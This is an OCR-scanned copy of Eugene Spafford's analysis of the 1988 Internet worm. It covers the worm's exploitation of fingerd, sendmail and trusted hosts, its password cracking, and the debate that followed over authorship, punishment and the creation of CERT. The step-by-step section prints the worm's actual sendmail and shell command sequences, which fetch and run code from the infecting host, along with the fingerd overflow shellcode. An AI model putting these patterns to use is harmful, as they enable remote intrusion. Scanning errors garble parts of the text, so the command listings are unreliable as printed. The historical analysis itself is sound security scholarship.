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THE .INTERNEl” WORM 


Crisis and Aftermath 
Last November the Internet LW.S infected with a worm program that 
eventually spread to thousands of machines, disrupting normal 
activities and Internet connectivity for many days. The following 
article examinesjust how this worm operated. 


Euge,ne H. Spiifford 


On the evening of November 2, 1988 the Internet came 
under attack from within. Sometime after 5 p.m.,’ a 
program was execuied on one or more hosts connected 
to the Internet. Tha,. program collected host, network, 
and user information, then used that information to 
break into other machines using flaws present in those 
systems’ software. After breaking in, the program 
would replicate itse1.f and the replica would attempt to 
infect other systems in the same manner. 


Although the program would only infect Sun Micro- 
systems’ Sun 3 systems and VAX@ computers running 
variants of 4 BSD UNIX,@ the program spread quickly, 
as did i.he confusion an.d consternation of system ad- 
ministrators and uszmrs as they discovered the invasion 
of their systems. Tht? scope of the break-ins came as a 
great surprise to aln.ost everyone, despite the fact that 
UNIX has long been kn.own to have some security 
weaknesses (cf. [4, 12, ,131). 


The program was mysterious to users at sites where 
it appeared. Unusual files were left in the /usr/tmp 
directories of some machines, and strange messages 
appeared in the log :‘iles of some of the utilities, such 
as the sendmail mail handling agent. The most notice- 
able effect, however, was that systems became more 
and more loaded wih running processes as they be- 
came repeatedly infected. As time went on, some of 
these machines bec:.me so loaded that they were una- 
ble to continue any processing; some machines failed 
completely when th ?ir swap space or process tables 
were exhausted. 


By early Thursday. morning, November 3, personnel 
at the IJniversity of California at Berkeley and Massa- 
chusetts Institute of Technology (MIT) had “captured” 
copies of the program and began to analyze it. People at 
other sites also bega:r to study the program and were 
developing methods of eradicating it. A common fear 
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was that the program was somehow tampering with 
system resources in a way that could not be readily 
detected-that while a cure was being sought, system 
files were being altered or information destroyed. By 
5 a.m. Thursday morning, less than 12 hours after the 
program was first discovered on the network, the Com- 
puter Systems Research Group at Berkeley had devel- 
oped an interim set of steps to halt its spread. This 
included a preliminary patch to the sendmail mail 
agent. The suggestions were published in mailing lists 
and on the Usenet, although their spread was ham- 
pered by systems disconnecting from the Internet to 
attempt a “quarantine.” 


By about 9 p.m. Thursday, another simple, effective 
method of stopping the invading program, without al- 
tering system utilities, was discovered at Purdue and 
also widely published. Software patches were posted by 
the Berkeley group at the same time to mend all the 
flaws that enabled the program to invade systems. All 
that remained was to analyze the code that caused the 
problems and discover who had unleashed the worm- 
;and why. In the weeks that followed, other well- 
publicized computer break-ins occurred and a number 
Iof debates began about how to deal with the individ- 
uals staging these invasions. There was also much dis- 
Icussion on the future roles of networks and security. 
Due to the complexity of the topics, conclusions drawn 
from these discussions may be some time in coming. 
The on-going debate should be of interest to computer 
professionals everywhere, however. 


HOW THE WORM OPERATED 
The worm took advantage of some flaws in standard 
software installed on many UNIX systems. It also took 
advantage of a mechanism used to simplify the sharing 
of resources in local area networks. Specific patches for 
these flaws have been widely circulated in days since 
the worm program attacked the Internet. 


Fingerd 
The finger program is a utility that allows users to 
obtain information about other users. It is usually used 
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to identify the full name or login name of a user, 
whether or not a user is currently logged in, and possi- 
bly other information about the person such as tele- 
phone numbers where he or she can be reached. The 
fingerd program is intended to run as a daemon, or 
background process, to service remote requests using 
the finger protocol [5]. This daemon program accepts 
connections from remote programs, reads a single line 
of input, and then sends back output matching the 
received request. 


The bug exploited to break fingerd involved overrun- 
ning the buffer the daemon used for input. The stan- 
dard C language I/O library has a few routines that 
read input without checking for bounds on the buffer 
involved. In particular, the gets call takes input to a 
buffer without doing any bounds checking; this was the 
call exploited by the worm. As will be explained later, 
the input overran the buffer allocated for it and rewrote 
the stack frame thus altering the behavior of the pro- 
gram. 


The gets routine is not the only routine with this 
flaw. There is a whole family of routines in the C li- 
brary that may also overrun buffers when decoding 
input or formatting output unless the user explicitly 
specifies limits on the number of characters to be con- 
verted. Although experienced C programmers are 
aware of the problems with these routines, they con- 
tinue to use them. Worse, their format is in some sense 
codified not only by historical inclusion in UNIX and 
the C language, but more formally in the forthcoming 
ANSI language standard for C. The hazard with these 
calls is that any network server or privileged program 
using them may possibly be compromised by careful 
precalculation of the (in)appropriate input. 


Interestingly, at least two long-standing flaws based 
on this underlying problem have recently been discov- 
ered in standard BSD UNIX commands. Program audits 
by various individuals have revealed other potential 
problems, and many patches have been circulated since 
November to deal with these flaws. Unfortunately, the 
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library routines will continue to be used, and as our 
memory of this incident fades, new flaws may be intro- 
duced with their use. 


Sendmail 
The sendmail program is a mailer designed to route 
mail in a heterogeneous internetwork [l]. The program 
operates in a number of modes, but the one exploited 
by the worm involves the mailer operating as a daemon 
(background) process. In this mode, the program is “lis- 
tening” on a TCP port (#25) for attempts to deliver mail 
using the standard Internet protocol, SMTP (Simple 
Mail Transfer Protocol) [g]. When such an attempt is 
detected, the daemon enters into a dialog with the re- 
mote mailer to determine sender, recipient, delivery 
instructions, and message contents. 


The bug exploited in sendmail had to do with func- 
tionality provided by a debugging option in the code. 
The worm would issue the DEBUG command to send- 
mail and then specify a set of commands instead of a 
user address. In normal operation, this is not allowed, 
but it is present in the debugging code to allow testers 
to verify that mail is arriving at a particular site with- 
out the need to invoke the address resolution routines. 
By using this option, testers can run programs to dis- 
play the state of the mail system without sending mail 
or establishing a separate login connection. The debug 
option is often used because of the complexity of con- 
figuring sendmail for local conditions, and it is often 
left turned on by many vendors and site administrators. 


The sendmail program is of immense importance on 
most Berkeley-derived (and other) UNIX systems be- 
cause it handles the complex tasks of mail routing and 
delivery. Yet, despite its importance and widespread 
use, most system administrators know little about how 
it works. Stories are often related about how system 
administrators will attempt to write new device drivers 
or otherwise modify the kernel of the operating system, 
yet they will not willingly attempt to modify sendmail 
or its configuration files. 


DICK TRACY 


Reprinted with permission: Tribune Media Services 
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It is little wonder, then, that bugs are present in 
sendmail that allow unexpected behavior. Other flaws 
have been found and reported now that attention has 
been focused on th: program, but it is not known for 
sure if all the bugs have been discovered and all the 
patches circulated. 


Passwords 
A key attack of the worm involved attempts to discover 
user p.asswords. It was able to determine success be- 
cause the encrypted password’ of each user was in a 
publicly readable file. In UNIX systems, the user pro- 
vides a password at sign-on to verify identity. The pass- 
word is encrypted t.sing a permuted version of the Data 
Encryption Standard (DES) algorithm, and the result 
is compared against a previously encrypted version 
present in a word-readable accounting file. If a match 
occurs, access is allowed. No plaintext passwords are 
contained in the file, and the algorithm is supposedly 
noninvertible withc ut knowledge of the password. 


The organization of -the passwords in UNIX allows 
nonprivileged commands to make use of information 
stored in the accounts file, including authentification 
schemes using user passwords. However, it also allows 
an attacker to encrypt lists of possible passwords and 
then compare them against the actual passwords with- 
out calling any system function. In effect, the security 
of the passwords is llrovided by the prohibitive effort of 
trying this approach with all combinations of letters. 
Unfortunately, as machines get faster, the cost of such 
attempts decreases. Dividing the task among multiple 
processors further reduces the time needed to decrypt 
a password. Such at tacks are also made easier when 
users choose obvious or common words for their pass- 
words. An attacker :aeed only try lists of common 
words -until a match is found. 


The worm used such. an attack to break passwords. It 
used lists of words, including the standard online dic- 
tionary, as potential passwords. It encrypted them using 
a fast version of the password algorithm and then com- 
pared the result aga: nst the contents of the system file. 
The worm exploited the accessibility of the file coupled 
with the tendency of users to choose common words as 
their passwords. Some sites reported that over 50 per- 
cent of their passwords were quickly broken by this 
simple approach. 


One way to reduce the risk of such attacks, and an 
approach that has already been taken in some variants 
of UNIX, is to have il shadow password file. The en- 
crypted passwords are saved in a file (shadow) that is 
readable only by the system administrators, and a privi- 
leged call performs password encryptions and compari- 
sons with an appropriate timed delay (0.5 to 1 second, 
for instance). This would prevent any attempt to “fish” 
for passwords. Additionally, a threshold could be in- 
cluded to check for repeated password attempts from 


~- The worm was brought over to each machine it in- 
‘Strictly speaking. the passwmd is not encrypted. A block of zero bits is 
repeatedly encrypted using tile user password. and the results of this encryp- 
tion is what is saved. See 18) For more details. a The hostsequiv and per-user .rhosts files referred to later. 


the same process, resulting in some form of alarm being 
raised. Shadow password files should be used in combi- 
nation with encryption rather than in place of such 
techniques, however, or one problem is simply replaced 
by a different one (securing the shadow file); the combi- 
nation of the two methods is stronger than either one 
alone. 


Another way to strengthen the password mechanism 
would be to change the utility that sets user passwords. 
The utility currently makes a minimal attem:pt to en- 
sure that new passwords are nontrivial to guess. The 
program could be strengthened in such a way that it 
would reject any choice of a word currently in the 
online dictionary or based on the account name. 


A related flaw exploited by the worm involved the 
use of trusted logins. One of the most useful features of 
BSD UNIX-based networking code is the ability to exe- 
cute tasks on remote machines. To avoid having to re- 
peatedly type passwords to access remote accounts, it is 
possible for a user to specify a list of host/login name 
pairs that are assumed to be “trusted,” in the sense that 
a remote access from that host/login pair is never 
asked for a password. This feature has often been 
responsible for users gaining unauthorized access to 
machines (cf. [ll]), but it continues to be used because 
of its great convenience. 


The worm exploited the mechanism by locating ma- 
chines that might “trust” the current machine/login 
being used by the worm. This was done by examining 
files that listed remote machine/logins used by the 
host3 Often, machines and accounts are reconfigured 
for reciprocal trust. Once the worm found such likely 
candidates, it would attempt to instantiate itself on 
those machines by using the remote execution facil- 
ity-copying itself to the remote machines as if it were 
an authorized user performing a standard remote 
operation. 


To defeat such future attempts requires that the cur- 
rent remote access mechanism be removed and possi- 
bly replaced with something else. One mechanism that 
shows promise in this area is the Kerberos authentica- 
tion server [18]. This scheme uses dynamic session 
keys that need to be updated periodically. Thus, an 
invader could not make use of static authorizations 
present in the file system. 


High Level Description 
The worm consisted of two parts: a main program, and 
a bootstrap or vector program. The main program, once 
established on a machine, would collect information on 
other machines in the network to which the current 
machine could connect. It would do this by reading 
public configuration files and by running system utility 
programs that present information about the current 
state of network connections. It would then attempt to 
use the flaws described above to establish its bootstrap 
on each of those remote machines. 
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fected via the actions of a small program commonly 
referred to as the vector program or as the grappling 
hook program. Some people have referred to it as the 
Z1.c program, since that is the file name suffix used on 
each copy. 


This vector program was 99 lines of C code that 
would be compiled and run on the remote machine. 
The source for this program would be transferred to the 
victim machine using one of the methods discussed in 
the next section. It would then be compiled and invo- 
kedon the victim machine with three command line 
arguments: the network address of the infecting ma- 
chine, the number of the network port to connect to on 
that machine to get copies of the main worm files, and 
a magic number that effectively acted as a one-time- 
challenge password. If the “server” worm on the remote 
host and port did not receive the same magic number 
back before starting the transfer, it would immediately 
disconnect from the vector program. This may have 
been done to prevent someone from attempting to “cap- 
ture” the binary files by spoofing a worm “server.” 


This code also went to some effort to hide itself, both 
by zeroing out its argument vector (command line im- 
age), and by immediately forking a copy of itself. If a 
failure occurred in transferring a file, the code deleted 
all files it had already transferred, then it exited. 


Once established on the target machine, the boot- 
strap would connect back to the instance of the worm 
that originated it and transfer a set of binary files (pre- 
compiled code) to the local machine. Each binary file 
represented a version of the main worm program, com- 
piled for a particular computer architecture and operat- 
ing system version. The bootstrap would also transfer a 
copy of itself for use in infecting other systems. One 
curious feature of the bootstrap has provoked many 
questions, as yet unanswered: the program had data 
structures allocated to enable transfer of up to 20 files; 
it was used with only three. This has led to speculation 
whether a more extensive version of the worm was 
planned for a later date, and if that version might have 
carried with it other command files, password data, or 
possibly local virus or trojan horse programs. 


Once the binary files were transferred, the bootstrap 
program would load and link these files with the local 
versions of the standard libraries. One after another, 
these programs were invoked. If one of them ran suc- 
cessfully, it read into its memory copies of the bootstrap 
and binary files and then deleted the copies on disk. It 
would then attempt to break into other machines. If 
none of the linked versions ran, then the mechanism 
running the bootstrap (a command file or the parent 
worm) would delete all the disk files created during the 
attempted infection. 


Step-by-Step Description 
This section contains a more detailed overview of how 
the worm program functioned. The description in this 
section assumes that the reader is somewhat familiar 
with standard UNIX commands and with BSD UNIX 
network facilities. A more detailed analysis of operation 


and components can be found in [16], with additional 
details in [3] and [15]. 


This description starts from the point at which a host 
is about to be infected. At this point, a worm running 
on another machine has either succeeded in establish- 
ing a shell on the new host and has connected back to 
the infecting machine via a TCP connection, or it has 
connected to the SMTP port and is transmitting to the 
sendmail program. The infection proceeded as follows: 


1. A socket was established on the infecting machine 
for the vector program to connect to (e.g., socket 
number 32341). A challenge string was constructed 
from a random number (e.g., 8712440). A file name 
base was also constructed using a random number 
(e.g., 14481910). 


2. The vector program was installed and executed 
using one of two methods: 


a. Across a TCP connection to a shell, the worm 
would send the following commands (the three 
lines beginning with “cc” and the two lines be- 
ginning with “echo” were sent as a single line): 


PATH=/bin:/usr/bin:/usr/ucb 
cd; /usr/tmp 
echo gorch49; sed '/int zz/q' 


> x1448191O.c; echo gorch50 
[text of vector program] 
int 22; 
cc -0 z14481910 


x14481910.c;./x14481910 


128.32.134.16 32341 8712440; 


rm -f x14481910 x1448191O.c; echo 
DONE 


Then it would wait for the string “DONE” to 
signal that the vector program was running. 


b. Using the SMTP connection, it would transmit 
(the three lines beginning with “cc” and the two 
lines beginning with “rcpt” were sent as a single 
line): 


debug 
mail from: (/dev/null) 
rcpt to: (“lsed -e 'l,/^$/'dl 


/bin/sh; exit 0") 
data 


cd /usr/tmp 
cat ) x144819Ol.c (( 'EOF' 
[text of vector program] 
EOF 
cc -0 x14481910 


x1448191O.c; x14481910 


128.32.134.16 32341 


8712440; 


rm -f x14481910 x1448191O.c 


quit 
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Th.e infecting worm would then wait for up to two 
minutes on the designated port for the vector to 
contact it. 


3. The vector program then connected to the “server,” 
sent the challer ge string, and transferred three 
files: a Sun 3 binary version of the worm, a VAX 
version, and the source code for the vector pro- 
gram. After the files were copied, the running vec- 
tor program became (via the execl call) a shell with 
its input and output still connected to the server 
worm. 


4. The server wor:n sent the following command 
stream to the connected shell: 


pATH=/bin:/'ls:r/bin:/usr/ucb 
rm -f sh 
if [ -f sh 1 
then 
P=x14481910 
else 
P=sh 
fi 


Then, for each binary file it had transferred (just 
two in this case although the code is written to 
allow more), it would send the following form of 
command sequence: 


cc -o $P x11481910,sun3.0 
./$P -p $$ :<14481910,sun3.o 


x14481910,vax.o x14481910,11.c 


rm -f $P 


Th.e rm would succeed only if the linked version 
of the worm fai’.ed to start execution. If the server 
determined tha: the host was now infected, it 
closed the connection. Otherwise, it would try the 
other binary file. After both binary files had been 
tried, it would send over rm commands for the ob- 
jec:t files to clear away all evidence of the attempt 
at infection. 


5. Th.e new worm on the infected host proceeded to 
“hide” itself by obscuring its argument vector, un- 
linking the bins ry version of itself, and killing its 
parent (the $$ argument in the invocation). It then 
read into memc ry each of the worm binary files, 
encrypted each file after reading it, and deleted the 
files from disk. 


6. Next, the worm gathered information about net- 
work interfaces and hosts to which the local 
machine was connected. It built lists of these in 
memory, incluc.ing information about canonical 
and alternate n,lmes and addresses. It gathered 
some of this information by making direct ioctl 
calls, and by running the netstat program with var- 
ious arguments It also read through various system 
files looking for host names to add to its database. 


7. It randomized the lists it constructed, then at- 
tempted to infel:t some of those hosts. For directly 
connected netw,orlcs, it created a list of possible 
host numbers and attempted to infect those hosts if 


they existed. Depending on the type of host (gate- 
way or local network), the worm first tried to estab- 
lish a connection on the telnet or rexec ports to 
determine reachability before it attemptejd one of 
the infection methods. 


8. The infection attempts proceeded by one of three 
routes: rsh, fingerd, or sendmail. 


The attack via rsh was done by attempting 
to spawn a remote shell by invocation of (in 
order of trial) /usr/ucb/rsh, /usr/bin/rsh, 
and /bin/rsh. If successful, the host was in- 
fected as in steps 1 and 2(a). 
The attack via the finger daemon was somewhat 
more subtle. A connection was established to 
the remote finger server daemon and then a spe- 
cially constructed string of 536 bytes was passed 
to the daemon, overflowing its input buffer and 
overwriting parts of the stack. For standard 
4BSD versions running on VAX computers, the 
overflow resulted in the return stack frame for 
the main routine being changed so that the re- 
turn address pointed into the buffer o:n the 
stack. The instructions that were written into 
the stack at that location were: 


push1 $68732f '/sh\O' 
push1 $6e69622f '/bin' 
movl 
push1 ;:’ 


r10 


push1 $0 
push1 r10 


push1 $3 
movl sp,ap 
chmk $3b 


That is, the code executed when the main rou- 
tine attempted to return was: 


execve(“/bin/sh”, O, O) 


On VAXs, this resulted in the worm connected 
to a remote shell via the TCP connection. The 
worm then proceeded to infect the host as in 
steps 1 and 2(a). On Suns, this simply resulted in 
a core dump since the code was not in place to 
corrupt a Sun version of fingerd in a similar fash- 
ion. Curiously, correct machine-specific code to 
corrupt Suns could have been written in a mat- 
ter of hours and included, but was not [16]. 
The worm then tried to infect the remote host 
by establishing a connection to the SMTP port 
and mailing an infection, as in step 2(‘b). 


Not all the steps were attempted. As soon as one 
method succeeded, the host entry in the internal list 
was marked as infected and the other methods were not 
attempted. 


9. Next, it entered a state machine consisting of five 
states. Each state but the last was run for a short 
while, then the program looped back to step 7 
(attempting to break into other hosts via sendmail, 
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finger, or rsh). The first four of the five states were 
attempts to break into user accounts on the local 
machine. The fifth state was the final state, and 
occurred after all attempts had been made to break 
all passwords. In the fifth state, the worm looped 
forever trying to infect hosts in its internal tables 
and marked as not yet infected. The first four states 
were: 


The worm read through the /etc/hosts.equiv files 
and /.rhosts files to find the names of equivalent 
hosts. These were marked in the internal table 
of hosts. Next, the worm read the /etc/passwd 
(the account and password file) file into an inter- 
nal data structure. As it was doing this, it also 
examined the .fonuard file (used to forward mail 
to a different host automatically) in each user 
home directory and included those host names 
in its internal table of hosts to try. Oddly, it did 
not similarly check user .rhosts files. 
The worm attempted to break each user pass- 
word using simple choices. The worm first 
checked the obvious case of no password. Then, 
it used the account name and user information 
field to try simple passwords. Assume that the 
user had an entry in the password file like: 


account:abcdefghijklm:lB&?User, 
Name:/usr/account:/bin/sh 


(These represent, respectively, the account 
name, the encrypted password, the user ID num- 
ber, the user’s default group ID number, per- 
user information field, the pathname of the 
user’s home account, and the pathname of the 
user’s default command interpreter or shell.) The 
words tried as potential passwords would be ac- 
count, accountaccount, User, Name, user, name, and 
tnuocca. These are, respectively, the account 
name, the account name concatenated with it- 
self, the first and last names of the user, the user 
names with leading capital letters turned to low- 
ercase, and the account name reversed. Experi- 
ence described in [a] indicates that on systems 
where users are naive about password security, 
these choices may work for a significant per- 
centage of user accounts. 


Step 10 describes what was done if a password 
“hit” was achieved. 
The third stage in the process involved trying to 
break the password of each user by trying each 
word present in an internal dictionary of words. 
This dictionary of 432 words was tried against 
each account in a random order, with password 
“hits” being handled as described in step 10. 


(The complete dictionary is given in [16].) 
The fourth stage was entered if all other 
attempts failed. For each word in the UNIX on- 
line dictionary, the worm would see if it was the 
password to any account. In addition, if the 
word in the dictionary began with an uppercase 
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letter, the letter was converted to lowercase 
and that word was also tried against all the 
passwords. 


Once a password was broken for any account, the 
worm would attempt to break into remote ma- 
chines where that user had accounts. The worm 
would scan the .forward and .rhosts files of the user 
at this point, and identify the names of remote 
hosts that had accounts used by the target user. 
It then attempted two attacks: 


The worm would first attempt to create a re- 
mote shell using the rexec4 service. The attempt 
would be made using the account name given in 
the .forward or .rhosts file and the user’s local 
password. This took advantage of the fact that 
users often have the same password on their 
accounts on multiple machines. 
The worm would do a rexec to the current host 
(using the local user name and password) and 
would try a rsh command to the remote host 
using the username taken from the file. This 
attack would succeed in those cases where the 
remote machine had a hosts.equiv file or the user 
had a .rhosts file that allowed remote execution 
without a password. 


If the remote shell was created either way, the 
attack would continue as in steps 1 and 2(a). No 
other use was made of the user password. 


Throughout the execution of the main loop, the 
worm would check for other worms running on the 
same machine. To do this, the worm would attempt to 
connect to another worm on a local, predetermined 
TCP socket5 If such a connection succeeded, one worm 
would (randomly) set its pleasequit variable to 1, causing 
that worm to exit after it had reached part way into the 
third stage (SC) of password cracking. This delay is part 
of the reason many systems had multiple worms run- 
ning: even though a worm would check for other local 
worms, it would defer its self-destruction until signifi- 
cant effort had been made to break local passwords. 
Furthermore, race conditions in the code made it possi- 
ble for worms on heavily loaded machines to fail to 
connect, thus causing some of them to continue indefi- 
nitely despite the presence of other worms. 


One out of every seven worms would become im- 
mortal rather than check for other local worms. Based 
on a generated random number they would set an in- 
ternal flag that would prevent them from ever looking 
for another worm on their host, This may have been 
done to defeat any attempt to put a fake worm process 
on the TCP port to kill existing worms. Whatever the 
reason, this was likely the primary cause of machines 
being overloaded with multiple copies of the worm. 


The worm attempted to send an UDP packet to the 


‘mm is a remote command execution service. It requires that a username/ 
password combination be supplied as part of the request. 


5 This was compiled in as port number 23357, on host 127.0.0.1 (loopback). 
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host ernie.berkeley.ecu6 approximately once every 15 in- Thus, the identity of the author seems fairly well- 
fections, based on a random number comparison. The established. But his motive remains a mystery. Specula- 
code to do this was incorrect, however, and no informa- tion has ranged from an experiment gone awry to an 
tion was ever sent. ‘Nhether this was an intended ruse unconscious act of revenge against his father, who is 
or whether there w,is actually some reason for the byte the National Computer Security Center’s chief scientist. 
to be sent is not currently known. However, the code is All of this is sheer speculation, however, since no state- 
such that an uninitialized byte is the intended message. ment has been forthcoming from Morris. All we have to 
It is possible that th: author eventually intended to run work with is the decompiled code for the program and 
some monitoring pr Igram on ernie (after breaking into our understanding of its effects. It is impossible to intuit 
an account, perhaps). Such a program could obtain the the real motive from those or from various individuals’ 
sending host numbs r f:rom the single-byte message, experiences with the author. We must await ;3 defini- 
whether it was sent as a TCP or UDP packet. However, tive statement by the author to answer the question 
no evidence for SUC:I a program has been found and it why? Considering the potential legal consequences, 
is possi.ble that the connection was simply a feint to both criminal and civil, a definitive statement from 
cast suspicion on personnel at Berkeley. Morris may be some time in coming, if it ever does. 


The worm would also fork itself on a regular basis 
and kill its parent. This served two purposes. First, the 
worm appeared to keep changing its process identifier 
and no single proce:,s accumulated excessive amounts 
of CPU time. Secondly, processes that have been run- 
ning for a long time have their priority downgraded 
by the scheduler. By forking, the new process would 
regain normal schec.uling priority. This mechanism 
did not always work. correctly, either, as we locally 
observed some instances of the worm with over 600 
seconds of accumuhlted CPU time. 


Two things have impressed many people (this author 
included) who have read the decompiled code. First, 
the worm program contained no code to exphcitly dam- 
age any system on which it ran. Considering qthe ability 
and knowledge evidenced by the code, it would have 
been a simple matter for the author to have included 
such commands if that was his intent. Unless the worm 
was released prematurely, it appears that the author’s 
intent did not involve destruction or damage of any 
data or system. 


If the worm ran for more than 12 hours, it would 
flush its host list of iill entries flagged as being immune 
or already infected. The way hosts were added to this 
list implies that a single worm might reinfect the same 
machines every 12 hours. 


The second feature of note was that the code had 
no mechanism to halt the spread of the worm. Once 
started, the worm would propagate while also taking 
steps to avoid identification and capture. Due to this 
and the complex argument string necessary to start it, 
individuals who have examined the worm (this author 
included) believe it unlikely that the worm was started 
by accident or was not intended to propagate widely. AFTERMATH 


In the weeks and months following the release of the 
Internet worm, ther3 have been a number of topics 
hotly debated in mailing lists, media coverage, and 
personal conversations. I view a few of these as particu- 
larly significant, ancl will present them here. 


Author, Intent, and Pu.nishment 
Two of the first que:;tions to be asked-even before the 
worm was stopped--were simply the questions who 
and why. Who had wrii.ten the worm, and why had 
he/she/they loosed it upon the Internet? The question 
of who was answereli quite shortly thereafter when the 
New York Times identified Robert T. Morris. Although 
he has not publicly (idrnitted authorship, and no court 
of law :has yet proncunced guilt, there seems to be a 
large body of evidence to support such an identifica- 
tion. 


Various officials7 :lave told me that they have ob- 
tained statements film multiple individuals to whom 
Morris spoke about ,:he worm and its development. 
They also have records from Cornell University com- 
puters showing earllr versions of the worm code being 
tested on campus m Ichines. They also have copies of 
the worm code, found in Morris’ account. 


6Using TCP port 11357 on host 128.32.137.13. 


‘Personal conversations. anmymous by request. 


In light of our lack of definitive information, it is 
puzzling to note attempts to defend Morris by claiming 
that his intent was to demonstrate something about In- 
ternet security, or that he was trying a harmless experi- 
ment. Even the president of the ACM, Bryan Kocher, 
stated that it was a prank in [7]. It is curious that this 
many people, both journalists and computer profession- 
als alike, would assume to know the intent of the au- 
thor based on the observed behavior of the program. As 
Rick Adams of the Center for Seismic Studies observed 
in a posting to the Usenet, we may someday hear that 
the worm was actually written to impress Jodie 
Foster-we simply do not know the real reason. 


Coupled with this tendency to assume mot:ive, we 
have observed very different opinions on the pun- 
ishment, if any, to mete out to the author. One oft- 
expressed opinion, especially by those individuals who 
believe the worm release was an accident or .an unfor- 
tunate experiment, is that the author should not be 
punished. Some have gone so far as to say that the 
author should be rewarded and the vendors amd opera- 
tors of the affected machines should be the ones pun- 
ished, this on the theory that they were sloppy about 
their security and somehow invited the abuse! 


The other extreme school of thought holds that the 
author should be severely punished, including a term 
in a federal penitentiary. (One somewhat humorous ex- 
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ample of this point of view was espoused by syndicated 
columnist Mike Royko [IQ].) 


As has been observed in both [Z] and [6], it would 
not serve us well to overreact to this particular inci- 
dent. However, neither should we dismiss it as some- 
thing of no consequence. The fact that there was no 
damage done may have been an accident, and it is 
possible that the author intended for the program to 
clog the Internet as it did. Furthermore, we should be 
wary of setting dangerous precedent for this kind of 
behavior. Excusing acts of computer vandalism simply 
because the authors claim there was no intent to cause 
damage will do little to discourage repeat offenses, and 
may, in fact, encourage new incidents. 


The claim that the victims of the worm were some- 
how responsible for the invasion of their machines is 
also curious. The individuals making this claim seem to 
be stating that there is some moral or legal obligation 
for computer users to track and install every conceiv- 
able security fix and mechanism available. This com- 
pletely ignores the fact that many sites run turnkey 
systems without source code or knowledge of how to 
modify their systems. Those sites may also be running 
specialized software or have restricted budgets that pre- 
vent them from installing new software versions. Many 
commercial and government sites operate their systems 
in this way. To attempt to blame these individuals for 
the success of the worm is equivalent to blaming an 
arson victim for the fire because she didn’t build her 
house of fireproof metal. (More on this theme can be 
found in [I?‘].) 


The matter of appropriate punishment will likely be 
decided by a federal judge. A grand jury in Syracuse, 
N.Y., has been hearing testimony on the matter. A fed- 
eral indictment under the United States Code, Title 18, 
Section 1030 (the Computer Crime statute), parts (a)(3) 
or (a)(6) might be returned. Section (a)(5), in particular, 
is of interest. That part of the statute makes it a felony 
if an individual “intentionally accesses a federal inter- 


est computer without authorization, and by means of 
one or more instances of such conduct alters, damages, 
or destroys information . . . , or prevents authorized use of 
any such computer or information and thereby causes 
loss to one or more others of a value aggregating $1,000 or 
more during any one year period” (emphasis added). 
State and civil suits might also be brought in this case. 


Worm Hunters 
A significant conclusion reached at the NCSC post- 
mortem workshop was that the reason the worm was 
stopped so quickly was due almost solely to the UNIX 
“old-boy” network, and not due to any formal mecha- 
nism in place at the time [lo]. A recommendation from 
that workshop was that a formal crisis center be estab- 
lished to deal with future incidents and to provide a 
formal point of contact for individuals wishing to report 
problems. No such center was established at that time. 


On November 29, 1988, someone exploiting a secu- 
rity flaw present in older versions of the FTP file 
transfer program broke into a machine on the MILNET. 
The intruder was traced to a machine on the Arpanet, 
and to immediately prevent further access, the 
MILNET/Arpanet links were severed. During the next 
48 hours there was considerable confusion and rumor 
about the disconnection, fueled in part by the Defense 
Communication Agency’s attempt to explain the dis- 
connection as a “test” rather than as a security 
problem. 


This event, coming as close as it did to the worm 
incident, prompted DARPA to establish the CERT-the 
Computer Emergency Response Team-at the Software 
Engineering Institute at Carnegie Mellon University.8 
The purpose of CERT is to act as a central switchboard 
and coordinator for computer security emergencies on 
Arpanet and MILnet computers. The Center has asked 
for volunteers from federal agencies and funded labora- 


BPersonal communication, M. Poepping of the CERT. 
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tories to serve as te:hnical advisors when needed [19]. 
Of interest here is that CERT is not chartered to deal 


with any Internet emergency. Thus, problems detected 
in the CSnet, Bitnel, NSFnet, and other Internet com- 
munit:ies may not be referable to the CERT. I was told 
that it is the hope of CERT personnel that these other 
networks will deve: op their own CERT-like groups. 
This, of course, ma;’ make it difficult to coordinate 
effective action and communication during the next 
threat. It may even introduce rivalry in the develop- 
ment and dissemimltion of critical information. 


Also of interest is the composition of the personnel 
CERT is enlisting a:, volunteers. Apparently there has 
been little or no solicitation of expertise among the 
indust.rial and acadl?mic computing communities. This 
is precisely where the solution to the worm originated. 
The effectiveness oj’ this organization against the next 
Internet-wide crisis will be interesting to note. 


CONCLUSIONS 
All the consequeno?s of the Internet worm incident are 
not yet known; the!’ may never be. Most likely there 
will be changes in security consciousness for at least a 
short period of time. There may also be new laws and 
new regulations from the agencies governing access to 
the Internet. Vendors may change the way they test 
and market their products-and not all of the possible 
changes will be advantageous to the end-user (e.g., 
removing the machine/host equivalence feature for 
remote execution). Users’ interactions with their sys- 
tems may change a:; well. It is also possible that no 
significant change will occur anywhere. The final bene- 
fit or harm of the irciclent will only become clear with 
the passage of time. 


It is important to note that the nature of both the 
Internet and UNIX helped to defeat the worm as well as 
spread it. The imma!diacy of communication, the ability 
to copy source and Dinary files from machine to ma- 
chine, and the wide spread availability of both source 
and expertise allowed personnel throughout the coun- 
try to work togethel, to solve the infection despite the 
widespread disconn ect.ion of parts of the network. Al- 
though the immediate reaction of some people might 
be to restrict communication or promote a diversity of 
incompatible software options to prevent a recurrence 
of a worm, that would be an inappropriate reaction. 
Increasing the obst: cles to open communication or 
decreasing the number of people with access to in- 
depth information will not prevent a determined 
hacker-it will only decrease the pool of expertise and 
resources available to fight such an attack. Further, 
such an attitude wculcl be contrary to the whole pur- 
pose of having an open, research-oriented network. The 
worm was caused by a breakdown of ethics as well as 
lapses in security-a purely technological attempt at 
prevention will not address the full problem, and may 
just cause new difficulties. 


What we learn from this about securing our systems 
will help determine if this is the only such incident we 


ever need to analyze. This attack should also point out 
that we need a better mechanism in place to coordinate 
information about security flaws and attacks. The re- 
sponse to this incident was largely ad hoc, and resulted 
in both duplication of effort and a failure to d.isseminate 
valuable information to sites that needed it. Many site 
administrators discovered the problem from reading 
newspapers or watching television. The major sources 
of information for many of the sites affected s;eems to 
have been Usenet news groups and a mailing list I put 
together when the worm was first discovered. Although 
useful, these methods did not ensure timely, wide- 
spread dissemination of useful information-especially 
since they depended on the Internet to work! Over 
three weeks after this incident some sites were still not 
reconnected to the Internet. The worm has shown us 
that we are all affected by events in our shared envi- 
ronment, and we need to develop better information 
methods outside the network before the next crisis. 
The formation of the CERT may be a step in .the right 
direction, but a more general solution is still needed. 


Finally, this whole episode should prompt us to think 
about the ethics and laws concerning access to com- 
puters. The technology we use has developedL so 
quickly it is not always easy to determine where the 
proper boundaries of moral action should be. Some sen- 
ior computer professionals started their careers years 
ago by breaking into computer systems at their colleges 
and places of employment to demonstrate their exper- 
tise and knowledge of the inner workings of the sys- 
